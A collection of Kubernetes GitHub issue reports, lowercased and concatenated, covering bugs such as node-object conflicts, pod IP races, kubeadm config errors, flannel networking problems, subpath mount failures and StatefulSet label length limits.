kubemark-scale is currently constantly failing. there are different reasons of it:\r - too high metrics\r - some nodes becoming unready\r - some pods not starting\r - some requests getting \ 429\  error\r \r however, i looked into logs, and it seems there is one common underlying root cause of all of them. and the problem is:\r __millions of conflicts on node objects__\r \r those conflicts result in:\r - some nodes not being able to heartbeat -> becoming unready\r - more requests in the system in general -> higher latencies\r - more requests in the system -> 429 errors\r - system more overloaded -> pod status updated not being delivered on time\r \r we should understand why those conflicts became so often and fix the problem.\r this seems like a regression to me - so putting into 1.7 milestone.\r \r @kubernetes/sig-scalability-bugs

for full history see https://bugzilla.redhat.com/show_bug.cgi?id=1449373\r \r 1  pleg puts pod status into a cache.\r 2  pleg then sends an event to kubelet\r 3  kubelet reads pleg events in syncloopiteration  \r 4  that calls handlepodsyncs   which dispatchwork   for the event\r 5  dispatchwork   calls podworkers.updatepod  \r 6  updatepod   starts a goroutine that calls managepodloop  \r \r << race: pleg runs again and reads pod status; pod has terminated and thus network status is no longer available.   1  runs again and puts a new status with podip:\ \  into the cache >>\r \r 7  that goroutine will be scheduled at some arbitrary time in the future\r 8  managepodloop    in a goroutine  reads the pleg cache for pod status\r 9  the status is sent to kubelet's syncpod   function, which converts the status to api status and sends to the api-server  again, from the goroutine started by updatepod   \r \r the race is that, for pods that don't save the podip, between  6  and  8  the cache is updated again by pleg with a \ \  podip.  for pods that don't hit the race, pleg hasn't updated the cache with \ \  podip.\r \r the question is, what is the right behavior?  should podip always be recorded and preserved, or should no-longer-usable podips not be kept in the apiserver after the pod is dead?\r \r one solution might be to ensure the the no-longer-usable podip is blanked out, and then push pod events whenever the ip changes so that you at least know what the ip was at any point in the past.\r \r @thockin @freehan

jenkins  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new/4 k8sio-certificates-api-should-support-building-a-client-with-a-csr \r  grid  https://k8s-testgrid.appspot.com/1.5-1.7-upgrade gke-cvm-1-5-cvm-1-7-upgrade-cluster-new&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20certificates%5c%20api%5c%20should%5c%20support%5c%20building%5c%20a%5c%20client%5c%20with%5c%20a%5c%20csr \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/certificates.go:120\r expected error:\r     < errors.statuserror | 0xc4210bfd00>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ the server could not find the requested resource\ ,\r             reason: \ notfound\ ,\r             details: {name: \ \ , group: \ \ , kind: \ \ , uid: \ \ , causes: nil, retryafterseconds: 0},\r             code: 404,\r         },\r     }\r     the server could not find the requested resource\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/certificates.go:70from\r    \r  /assign @enisoc \r \r same root cause as  47464 ? \r

what happened  :\r pod in graceful termination  readiness: true, status: terminating  still shows up in the ready addresses section of related endpoints objects. \r \r   what you expected to happen  :\r pod in graceful termination should show up in the unready addresses section of related endpoints objects.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set up service and point to pods that can handle graceful termination. watch related endpoints object while deleting a backend pod. \r \r   anything else we need to know?  :\r - the code to determine whether a pod should be in endpoints object is as follows:\r https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/controller/endpoint/endpoints_controller.go l563\r - i am not sure whether users are relying on this broken behavior.\r \r   environment  :\r kubernetes head

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r if you have a deployment with  serviceaccountname  set if you remove the field and apply the new config the  serviceaccountname  remains set to what it previously was.\r   what you expected to happen  :\r the  serviceaccountname  to be removed from the deployment spec.\r   how to reproduce it  as minimally and precisely as possible   :\r apply a deployment with a service account set e.g\r    \r ---\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: test\r   namespace: kube-system\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: test\r   template:\r     metadata:\r       labels:\r         app: test\r     spec:\r       containers:\r         - name: test\r           image: busybox\r           command:\r             - sleep\r             - \ 600\ \r     serviceaccountname: \ foo\ \r    \r then apply the same manifest with it removed.\r kubectl apply -f test.yaml\r    \r ---\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: test\r   namespace: kube-system\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: test\r   template:\r     metadata:\r       labels:\r         app: test\r     spec:\r       containers:\r         - name: test\r           image: busybox\r           command:\r             - sleep\r             - \ 600\ \r    \r \r  kubect get deploy test -o yaml \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 2\ \r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ apps/v1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ test\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ replicas\ :2,\ selector\ :{\ matchlabels\ :{\ app\ :\ test\ }},\ template\ :{\ metadata\ :{\ labels\ :{\ app\ :\ test\ }},\ spec\ :{\ containers\ : {\ command\ : \ sleep\ ,\ 600\  ,\ image\ :\ busybox\ ,\ name\ :\ test\ } }}}}\r   creationtimestamp: \ 2019-01-03t14:10:52z\ \r   generation: 5\r   name: test\r   namespace: kube-system\r   resourceversion: \ 214767939\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/test\r   uid: 6131e4f9-0f61-11e9-85ae-025efa9cc9c4\r spec:\r   progressdeadlineseconds: 600\r   replicas: 2\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app: test\r   strategy:\r     rollingupdate:\r       maxsurge: 25%\r       maxunavailable: 25%\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: test\r     spec:\r       containers:\r       - command:\r         - sleep\r         - \ 600\ \r         image: busybox\r         imagepullpolicy: always\r         name: test\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       serviceaccount: foo\r       serviceaccountname: foo\r       terminationgraceperiodseconds: 30\r    \r the service account is still set.\r \r i do get  deployment.apps/test configured  when applying the change which implies it notices the change but does not seem to act on it.\r   anything else we need to know?  :\r this also works with a cronjob, so does not seem specific to deployments\r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.11.5  have reproduced on minikube v1.13.0 \r cli: v1.13.1\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1800.6.0\r version_id=1800.6.0\r build_id=2018-08-04-0323\r pretty_name=\ container linux by coreos 1800.6.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  : \r    \r linux ip-172-23-12-198.eu-west-1.compute.internal 4.14.59-coreos-r2  1 smp sat aug 4 02:49:25 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r when node's iops is full, the node status becomes to be notready. the notready message is \ container runtime is not ready\ .\r \r after our troubleshoot, we found func  plugin.syncnetworkconfig    in cni package costs more then 30s, then the runtime status health check is failed :\r \r    go\r func  plugin  cninetworkplugin  status   error {\r \t// sync network config from confdir periodically to detect network config updates\r \tplugin.syncnetworkconfig  \r \r \t// can't set up pods if we don't have any cni network configs yet\r \treturn plugin.checkinitialized  \r }\r    \r \r \r   what you expected to happen  :\r node should still be in ready status when iops is full. because the cni config files does not change.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run an application to fill disk io bandwidth, then the node becomes to be notready.\r \r   anything else we need to know?  :\r nothing yet.\r \r   environment  :\r runtime is dockershim. other environment is no need to pay attention.

currently, resourcememory and resourcestorage will accept non-whole-number values  e.g. a pod can request 10 mlli-bytes . this doesn't make sense, so we should reject  in validation  non-integer values for these. along similar lines, resourcecpu accepts and blindly rounds up values with sub-milli-core precision  rounding up to nearest milli-core . rather than rounding, we should reject these values.  these changes are   breaking   changes to the api.  /cc @erictune @bgrant0607

i found when i use pv/pvc to mount cephfs in pod, k8s use kernel driver to mount cephfs, is there anyway to use cephfs-fuse to mount, thank you.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : running  kubeadm init --config=<path>  fails.\r \r   what you expected to happen  :  kubeadm init --config=<path>  configures based on the provided file.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a file  /tmp/kubeadm.yaml  with the below content:\r \r    \r ---\r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r token: m52zte.m52ztet6s1jknlpg\r cloudprovider: aws\r kubernetesversion: v1.7.1\r apiservercertsans:\r - plombardi.kubernaut.io\r    \r \r run  kubeadm init --config=/tmp/kubeadm.yaml \r \r get error: \r \r    \r kubeadm init --config /tmp/kubeadm.yaml\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.7.1\r  init  using authorization modes:  node rbac \r  init  warning: for cloudprovider integrations to work --cloud-provider must be set for all kubelets in the cluster.\r \t /etc/systemd/system/kubelet.service.d/10-kubeadm.conf should be edited for this purpose \r  preflight  running pre-flight checks\r  preflight  warning: docker version is greater than the most recently validated version. docker version: 17.06.0-ce. max validated version: 1.12\r can not mix '--config' with other arguments\r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : na\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos 7.3 1703_01\r - kernel  e.g.  uname -a  : linux ip-10-10-0-216.ec2.internal 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others: kubeadm version =  kubeadm version: &version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r i'm playing with kubernetes/kubeadm inside 3 virtualbox vms with centos 7, 1 master and 2 minions. unfortunately installation manuals say something like  every service will be accessible from every node, every pod will see all other pods , but i don't see this happening. i can access the service only from that node where the specific pod runs.\r \r   what you expected to happen  :\r \r every service is accessible from every node, every pod can see all other pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use   kubeadm   to setup 1 master and 2 minions, all with centos 7, like here is written:  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/ ,   flannel   for networking, i just replaced demo app with simple nginx pod. expose the service with default type or   nodeport   and try to reach it from other vms and from host. \r \r   environment  :\r - kubernetes version:\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r - os: centos linux 7  core \r - kernel: 3.10.0-693.2.2.el7.x86_64\r - install tools: kubeadm\r - virtualbox: 5.1.26 r117224\r \r   anything else we need to know?  :\r \r every vm has 2 adapters:   nat   and   host-only  . second one has ips 10.0.13.101-254.\r \r   master-1: 10.0.13.104\r   minion-1: 10.0.13.105\r   minion-2: 10.0.13.106\r \r get all pods from master:\r    \r $ kubectl get pods --all-namespaces\r namespace     name                               ready     status    restarts   age\r default       busybox                            1/1       running   12         1d\r default       nginx-demo-2867147694-f6f9m        1/1       running   4          1d\r default       nginx-demo2-2631277934-hd7jz       1/1       running   2          1d\r default       nginx-demo3-2046388352-6zj6t       1/1       running   2          1d\r default       nginx-demo4-1778249282-mtvjc       1/1       running   3          1d\r default       nginx-demo5-2305231528-v0r78       1/1       running   0          58m\r kube-system   etcd-master-1                      1/1       running   3          1d\r kube-system   kube-apiserver-master-1            1/1       running   3          1d\r kube-system   kube-controller-manager-master-1   1/1       running   3          1d\r kube-system   kube-dns-2425271678-kgb7k          3/3       running   9          1d\r kube-system   kube-flannel-ds-049t3              2/2       running   0          1h\r kube-system   kube-flannel-ds-jmpqh              2/2       running   7          1h\r kube-system   kube-flannel-ds-qswt7              2/2       running   10         1d\r kube-system   kube-proxy-6263z                   1/1       running   5          1d\r kube-system   kube-proxy-b8hc3                   1/1       running   3          1d\r kube-system   kube-proxy-vrk60                   1/1       running   2          1d\r kube-system   kube-scheduler-master-1            1/1       running   3          1d\r    \r \r get all services:\r $ kubectl get services\r    \r name          cluster-ip      external-ip   port s         age\r kubernetes    10.96.0.1       <none>        443/tcp        1d\r nginx-demo    10.104.34.229   <none>        80/tcp         1d\r nginx-demo2   10.102.145.89   <none>        80/tcp         1d\r nginx-demo3   10.103.62.101   <nodes>       80:31844/tcp   1d\r nginx-demo4   10.98.4.237     <nodes>       80:30029/tcp   1d\r nginx-demo5   10.100.112.76   <nodes>       80:31494/tcp   58m\r    \r \r get 2 nginx pods ip info:\r    \r $ kubectl get pod nginx-demo4-1778249282-mtvjc -o json | grep ip\r         \ hostip\ : \ 10.0.13.105\ ,\r         \ podip\ : \ 10.244.1.80\ ,\r \r $ kubectl get pod nginx-demo5-2305231528-v0r78 -o json | grep ip\r         \ hostip\ : \ 10.0.13.106\ ,\r         \ podip\ : \ 10.244.2.21\ ,\r    \r \r as you see - one nginx example is on the first minion, and the second example is on the second minion.\r \r the problem is - i can access   nginx-demo4   from node   10.0.13.105   only  with pod ip and service ip , with curl:\r    \r curl 10.98.4.237:80\r  curl 10.244.1.80:80\r    \r \r , and   nginx-demo5   from   10.0.13.106   only, not vice versa and not from master-node. busybox is on node   10.0.13.105  , so it can reach   nginx-demo4  , but not   nginx-demo5  .\r \r routing table on master:\r    \r $ route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         10.0.2.2        0.0.0.0         ug    100    0        0 enp0s3\r 10.0.2.0        0.0.0.0         255.255.255.0   u     100    0        0 enp0s3\r 10.0.13.0       0.0.0.0         255.255.255.0   u     100    0        0 enp0s8\r 10.244.0.0      0.0.0.0         255.255.255.0   u     0      0        0 cni0\r 10.244.0.0      0.0.0.0         255.255.0.0     u     0      0        0 flannel.1\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 docker0\r    \r \r routing table on minion-1:\r    \r   route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         10.0.2.2        0.0.0.0         ug    100    0        0 enp0s3\r 10.0.2.0        0.0.0.0         255.255.255.0   u     100    0        0 enp0s3\r 10.0.13.0       0.0.0.0         255.255.255.0   u     100    0        0 enp0s8\r 10.244.0.0      0.0.0.0         255.255.0.0     u     0      0        0 flannel.1\r 10.244.1.0      0.0.0.0         255.255.255.0   u     0      0        0 cni0\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 docker0\r    \r \r decreasing guest os security was done:\r    \r setenforce 0\r systemctl stop firewalld\r    \r \r and bridge config in   sysctl  :\r    \r sysctl -w net.bridge.bridge-nf-call-iptables=1\r sysctl -w net.bridge.bridge-nf-call-ip6tables=1\r    \r \r ports scanning from host returns:\r    \r   nmap 10.0.13.105 -p1-50000\r \r starting nmap 7.60   https://nmap.org   at 2017-09-20 14:04 eest\r nmap scan report for 10.0.13.105\r host is up  0.0020s latency .\r not shown: 49993 closed ports\r port      state    service\r 22/tcp    open     ssh\r 10250/tcp open     unknown\r 10255/tcp open     unknown\r 10256/tcp open     unknown\r 30029/tcp open     unknown\r 31494/tcp filtered unknown\r 31844/tcp open     unknown\r mac address: 08:00:27:f8:e3:71  oracle virtualbox virtual nic \r \r nmap done: 1 ip address  1 host up  scanned in 1.75 seconds\r    \r \r if we take the latest nginx service on port   31494   - it exists everywhere, but is open only on related node, on the others it's filtered.

 \r   what happened  :\r \r in 5k node cluster tests pod startup latency has roughly doubled at all  50th, 90th, 99th, 100th  percentiles, apparently due to some change merged between oct 16th and 20th. the following graph  for the ci-kubernetes-e2e-gce-scale-performance job  makes it obvious  note values are capped at 10s for readability :\r \r ! 0jjh2pnsh7p  https://user-images.githubusercontent.com/489420/32377396-c4c39f36-c0a7-11e7-9f3f-19184b923c28.png \r \r the last run with good latency  3.2s@99%  was 49, on october 16th.\r since then it's been between 4.7s and ~5s at 99th %ile.\r the  56th run  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/56/  actually failed because the latency exceeded the threshold  5s . since we're so close to the threshold, the test is now more flaky.\r \r /cc @kubernetes/sig-scalability-bugs

 \r   fix status:  \r -  x  cleanup issue fixed in master in https://github.com/kubernetes/kubernetes/pull/58433, will be in 1.10.0-rc.1\r -  x  cleanup issue fixed in release-1.9 branch in https://github.com/kubernetes/kubernetes/pull/61193, in  v1.9.5  https://github.com/kubernetes/kubernetes/releases/tag/v1.9.5 \r -  x  cleanup issue fixed in release-1.8 branch in https://github.com/kubernetes/kubernetes/pull/61194, in  v1.8.10  https://github.com/kubernetes/kubernetes/releases/tag/v1.8.10 \r -  x  cleanup issue fixed in release-1.7 branch in https://github.com/kubernetes/kubernetes/pull/61196, in  v1.7.15  https://github.com/kubernetes/kubernetes/releases/tag/v1.7.15 \r \r   what happened  :\r when i upgraded to 1.9.4 i noticed all my calico nodes were stuck in  createcontainerconfigerror  state. \r \r describing the pods revealed this:\r    \r  warning  failed                 42s                kubelet, ip-172-23-12-44.eu-west-1.compute.internal  error: failed to start container \ kube-flannel\ : error response from daemon: invalid header field value \ oci runtime error: container_linux.go:247: starting container process caused \\\ process_linux.go:359: container init caused \\\\\\\ rootfs_linux.go:53: mounting \\\\\\\\\\\\\\\ /var/lib/kubelet/pods/e8034482-2792-11e8-9748-0affda8a2e44/volume-subpaths/flannel-net-conf/kube-flannel/2\\\\\\\\\\\\\\\  to rootfs \\\\\\\\\\\\\\\ /var/lib/docker/overlay2/36167ba83c2a384d84bb046533fc00ea7f2ba1a21ce7bf6b297bc64f90645eb8/merged\\\\\\\\\\\\\\\  at \\\\\\\\\\\\\\\ /var/lib/docker/overlay2/36167ba83c2a384d84bb046533fc00ea7f2ba1a21ce7bf6b297bc64f90645eb8/merged/etc/kube-flannel/net-conf.json\\\\\\\\\\\\\\\  caused \\\\\\\\\\\\\\\ not a directory\\\\\\\\\\\\\\\ \\\\\\\ \\\ \ \ \r    \r and\r    \r warning  failed                 41s                kubelet, ip-172-23-12-44.eu-west-1.compute.internal  error: failed to prepare subpath for volumemount \ flannel-net-conf\  of container \ kube-flannel\ \r    \r   what you expected to happen  :\r the containers would be able to mount the subpath and start up\r   how to reproduce it  as minimally and precisely as possible   :\r by creating a deployment where an init container creates a file in an emptydir and then the container tries to mount this file as a subpath will reproduce it.\r    \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: subpath\r   namespace: kube-system\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: subpath\r     spec:\r       initcontainers:\r         - name: init\r           image: busybox\r           command:\r             - touch\r             - /mount/test\r           volumemounts:\r             - name: mount\r               mountpath: /mount\r       containers:\r       - name: subtest\r         image: busybox\r         command:\r           - ls\r           - -l\r           - /mount/test\r         volumemounts:\r           - name: mount\r             mountpath: /mount/test\r             subpath: test\r       volumes:\r       - name: mount\r         emptydir: {}\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4+coreos.1\ , gitcommit:\ 40e53b58ddba86824d91a268bcba1c7cfc619d9d\ , gittreestate:\ clean\ , builddate:\ 2018-03-13t22:34:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1632.2.1\r version_id=1632.2.1\r build_id=2018-02-01-2053\r pretty_name=\ container linux by coreos 1632.2.1  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-172-23-10-171 4.14.16-coreos  1 smp thu feb 1 20:38:35 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:\r - others:\r

 \r   what happened  :\r https://github.com/kubernetes/features/issues/266 and https://github.com/kubernetes/features/issues/267 both require opt-in configuration knobs to the kubelet.\r they are kinda global settings, you probably either opt into dynamic cert rotation or you don't, so they qualify for being in the  kubeletconfiguration  struct.\r the  .servertlsbootstrap  knob for enabling dynamic serving certs was  added recently in the kubeletconfiguration  https://github.com/kubernetes/kubernetes/pull/62352   i fully support that :+1: .\r \r   what you expected to happen  :\r i'd like the same to happen to   kubeletflags.rotatecertificates   https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/options/options.go l57  to be consistent.\r  also, we're planning to use the config file for the kubelet by default in kubeadm soon, and it'd be nice to be able to set this value then in a structured manner \r \r /assign @mtaufen \r \r @kubernetes/sig-node-feature-requests @kubernetes/sig-auth-feature-requests

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r creating a statefulset with a name containing 57 characters resulted could not start any pods as kubernetes added the label \ controller-revision-hash\  to the pod which apparently contains the statefulset name and a hash appended.\r the label is not truncated to 63 characters, therefore the creation of the pod fails with the error message\r \r \r  statefulset-controller  create pod long-redacted-statefulset-name-xxxxxxxxxxxxxxxxxxxxxxxxx-0 in statefulset long-redacted-statefulset-name-xxxxxxxxxxxxxxxxxxxxxxxxx failed error: pod \ long-redacted-statefulset-name-xxxxxxxxxxxxxxxxxxxxxxxxx-0\  is invalid: metadata.labels: invalid value: \ long-redacted-statefulset-name-xxxxxxxxxxxxxxxxxxxxxxxxx-58d5fbb889\ : must be no more than 63 characters\r  \r \r   what you expected to happen  :\r \r the label should be truncated or statefulsets should enforce shorter names.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a statefulset with a name longer than 57 characters:\r \r    apiversion: apps/v1\r kind: statefulset\r metadata:\r   labels:\r     app: sset\r   name: long-redacted-statefulset-name-xxxxxxxxxxxxxxxxxxxxxxxxx\r spec:\r   servicename: \ \ \r   replicas: 1\r   selector:\r     matchlabels:\r       app: sset\r   template:\r     metadata:\r       labels:\r         app: sset\r     spec:\r       containers:\r         - image: alpine\r           name: sset-container\r           command: \r             - sleep \r             - \ 300\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: \ v1.10.2\  \r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release : centos-7.5.1804\r - kernel  e.g.  uname -a  : 3.10.0-862.2.3.el7.x86_64\r - install tools: kubeadm\r \r

\ /run/\ , \ /exec/\ , \ /attach/\ , \ /portforward/\ , \ /containerlogs/\ , \ /runningpods/\  etc are installed at:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go l306\r \r these are supposed to be used only for debugging, however they are always on by default. can we please default  enable-debugging-handler  to false, so these are not installed by mistake? \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r csi plugin calls  getnodeinfo ...   to get node id information  see https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/csi/csi_plugin.go l139 . if that call is not implemented by driver, registration with kubelet will fail.\r \r   what you expected to happen  :\r per csi spec, the deprecated  getnodeid ...   call should be supported until csi 1.0 is released  see https://github.com/container-storage-interface/spec/blob/master/spec.md rpc-interface . therefore if a  getnodeinfo ...   by kubernetes fails  because it is not implemented by the driver , we should fall back and try  getnodeid ...   call instead.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use any csi driver that implements  getnodeid ...   but not  getnodeinfo ...   -- @xing-yang says opensds driver is currently hitting this, and may be used for repro.\r \r   anything else we need to know?  :\r when csi moves to 1.0 we can drop this fall back logic.\r if a fix is available within  1.12 time frame  https://github.com/kubernetes/sig-release/tree/master/releases/release-1.12 , we can include it, but 1.12 release should not block on this.\r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r when container_a is crashed by some reason, kubernetes will recreate this container to recover. is it possible to add a feature to define some rules in manifest to make container_b in the same pod  be recreated at same time?\r   why is this needed  :\r our case is: there is a sidecar container and core container in the same pod. we want the sidecar container and core container to be recreated at same time:\r if the sidecar container is crashed and recreated, the core container should be recreated, verse visa.\r the reason for that is the utility process inside  sidecar container and the application process inside  core container was in a same container, they were live together via supervisored. now, we want to split the utility process to an independent container as a sidecar container, so we need the similar feature via kubernetes.\r thanks for your support in advance! :-  \r <!-- do not edit below this line -->\r 

https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-integration-master/1135464872302088192\r    \r --- fail: testvalidateonlystatus  1.61s \r i0102 19:03:43.523081  125200 establishing_controller.go:84  shutting down establishingcontroller\r i0102 19:03:43.523219  125200 secure_serving.go:156  stopped listening on 127.0.0.1:46393\r i0102 19:03:43.523225  125200 naming_controller.go:295  shutting down namingconditioncontroller\r i0102 19:03:43.523093  125200 crd_finalizer.go:254  shutting down crdfinalizer\r i0102 19:03:43.523081  125200 customresource_discovery_controller.go:214  shutting down discoverycontroller\r testserver.go:141: runtime-config=map api/all:true \r testserver.go:142: starting apiextensions-apiserver on port 36085...\r testserver.go:160: waiting for /healthz to be ok...\r subresources_test.go:531: unexpected error: wishihadchosennoxu.mygroup.example.com \ foo\  is invalid: apiversion: invalid value: \ mygroup.example.com/v1beta1\ : must be mygroup.example.com/v1\r    \r \r cc @mbohlool @sttts

summarizing all our swagger related issues here:\r \r improving the spec:\r -     represent enum types: right now, we represent them as strings and put the possible values in comments. want to represent them as enum types and use the list of valid values for validation: https://github.com/kubernetes/kubernetes/issues/24562\r -  x  represent strategic merge patch policy in swagger: https://github.com/kubernetes/kubernetes/issues/24560  need to figure out how to represent it \r -  x  fix the return type for /versions: https://github.com/kubernetes/kubernetes/issues/17176  super simple one line change \r -  x   versioned.event model should not be a pointer: https://github.com/kubernetes/kubernetes/issues/24240  looks like a bug in go-restful \r -  x  get swagger spec validation to pass: https://github.com/kubernetes/kubernetes/issues/16748  requires change to swagger-tools most probably \r -  x  figure out a way to represent intorstring: we represent them as string right now which fails when we return int: https://github.com/kubernetes/kubernetes/issues/14190\r -  x  fix responsemodel for pods/log: https://github.com/kubernetes/kubernetes/issues/14071\r -     document all possible status codes and returned object types: https://github.com/kubernetes/kubernetes/issues/6167\r -  x  represent maps as maps  right now we represent them as  \ type\ : \ object\   which is the generic type we use for all our custom types : https://github.com/kubernetes/kubernetes/issues/4700  requires moving to 2.0 \r -  x  represent unversioned.time correctly in swagger spec: https://github.com/kubernetes/kubernetes/issues/2968  should be a simple change \r -  x  intorstring  2971\r -     deletion response is incorrect  30537\r \r making it easy to use:\r -  x  serve it as json at kubernetes.io: https://github.com/kubernetes/kubernetes/issues/15571\r -  x  validate on each commit to ensure valid spec at head: https://github.com/kubernetes/kubernetes/issues/5356\r \r doing things on top of spec:\r -     generate client libraries in multiple languages: we can use client-gen swagger tool to use the swagger to spec to auto generate client libraries in multiple languages: https://github.com/kubernetes/kubernetes/issues/22405\r \r advanced:\r -  x  move to swagger spec 2.0: https://github.com/kubernetes/kubernetes/issues/13414  we are using go-restful to generate swagger spec 1.2 right now .\r -     move all internal components to use openapi  swagger spec 2.0 : https://github.com/kubernetes/kubernetes/issues/38637\r

